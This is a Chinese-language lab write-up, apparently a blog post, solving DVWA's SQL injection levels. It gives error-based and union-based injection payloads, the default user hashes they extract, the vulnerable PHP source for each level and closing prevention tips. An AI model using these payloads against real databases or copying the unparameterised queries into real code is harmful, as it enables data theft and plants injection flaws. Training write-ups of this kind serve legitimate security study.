DVWA靶场通关实录-SQL Injection篇

0x01 简介

SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。


0x02 SQL Injection-Low

输入单引号'报错,输入双引号不报错,判断为'闭合。然后输入'#不报错,说明仅需要单引号'闭合,不需要括号进行闭合。

image.png

爆库名' or updatexml(1,concat(0x7e,database(),0x7e),1)--+
库名.png

库名为dvwa
爆表名' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),0x7e),1)--+
表名.png

表名为guestbook,users
爆users表中的列名
' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),0x7e),1)--+
列名

列名为user_id,first_name,last_name,us
此处发现列名为显示齐全,updatexml最多只能显示32个字符,因此需要使用substring函数进行多次查询后拼接。
懒得进行拼接,因此这里换用floor进行报错注入语句的构造
' or (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
列名

列名为:user_id,first_name,last_name,user,password,avatar,last_login,failed_login
爆users表的user和password字段
' or (select 1 from (select count(*),concat((select concat(user,0x3a,password) from users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--
admin账号密码

遍历后得到的账号密码如下:
admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03
1337:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b71
smithy:5f4dcc3b5aa765d61d8327deb882cf99
老规矩,看看源代码:

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?> 

0x03 SQL Injection-Medium

image.png

POST方法提交的请求,老规矩先看看有没有注入点。
?id=2后加上'发现报错了,然后换成"发现仍然报错,猜测是数字型,无需闭合。
?id=2 order by 2--+猜解出列名的数量为2
?id=-2 union select 1,2--+查询出显示位为1和2
?id=-2 union select database(),version()--+查询出数据库名为dvwa,版本号为5.7.33
数据库名和版本号

接下来就是老一套,爆表名
?id=-2 union select (select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),2--+
单引号被转义

单引号前面被转义加了\,不知道是开了GPC还是源码里面做了过滤,等会再看下源码。先调整下注入语句。
id=-2 union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2--+

表名

表名为:guestbook,users
爆user表中的列名
-2 union select (select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273),2--+
列名

user_id,first_name,last_name,user,password,avatar,last_login,failed_login
接着查询user和password字段的值就好了
-2 union select (select group_concat(user,0x3a,password) from users),2--+
查询的结果为:
admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03
1337:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
smithy:5f4dcc3b5aa765d61d8327deb882cf99
看看源代码:

<?php

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

}

// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];

mysqli_close($GLOBALS["___mysqli_ston"]);
?> 

源代码中使用mysqli_real_escape_string()函数来对特殊字符转义,所以'和"等都无法使用。


0x04 SQL Injection-High

1'报错,1'#不报错,可以判断该处存在注入点,为单引号闭合。
1' order by 2#猜解出列名的数量为2
-1' union select 1,2#查询出显示位为1和2

显示位

爆库名和版本号
-1' union select database(),version()#
库名和版本号

库名:dvwa 版本号为:5.7.33
爆表名:
-1' union select (select group_concat(table_name) from information_schema.tables where table_schema='dvwa'),2#
表名

这次单引号没被过滤,不知道是什么情况,等会看下源码
爆列名:
-1' union select (select group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'),2#
列名

查询user和password的值
image.png

看下源代码

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        
}

?> 

emmm,源码内限制了查询的条数,也引入了session机制,不太明白是限制了什么,可能是自动化注入?


0x05 SQL注入防范方法

  • 所有的查询语句都使用数据库提供的参数化查询接口
  • 严格限制select、union select、updatexml、floor等敏感函数的使用
  • 对' "<>&*等特殊字符进行转义
  • 数据层的编码统一,避免宽字节注入
  • 避免页面回显错误信息
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 0x01 盲注简介 并不是所有页面都有回显,有的时候页面只会显示正确与否,我们就可以利用页面正确与错误来进行布尔盲...
    Asson阅读 369评论 0 1
  • 本系列文集:DVWA学习笔记 SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执...
    简言之_阅读 9,334评论 5 14
  • 表情是什么,我认为表情就是表现出来的情绪。表情可以传达很多信息。高兴了当然就笑了,难过就哭了。两者是相互影响密不可...
    Persistenc_6aea阅读 126,050评论 2 7
  • 16宿命:用概率思维提高你的胜算 以前的我是风险厌恶者,不喜欢去冒险,但是人生放弃了冒险,也就放弃了无数的可能。 ...
    yichen大刀阅读 6,104评论 0 4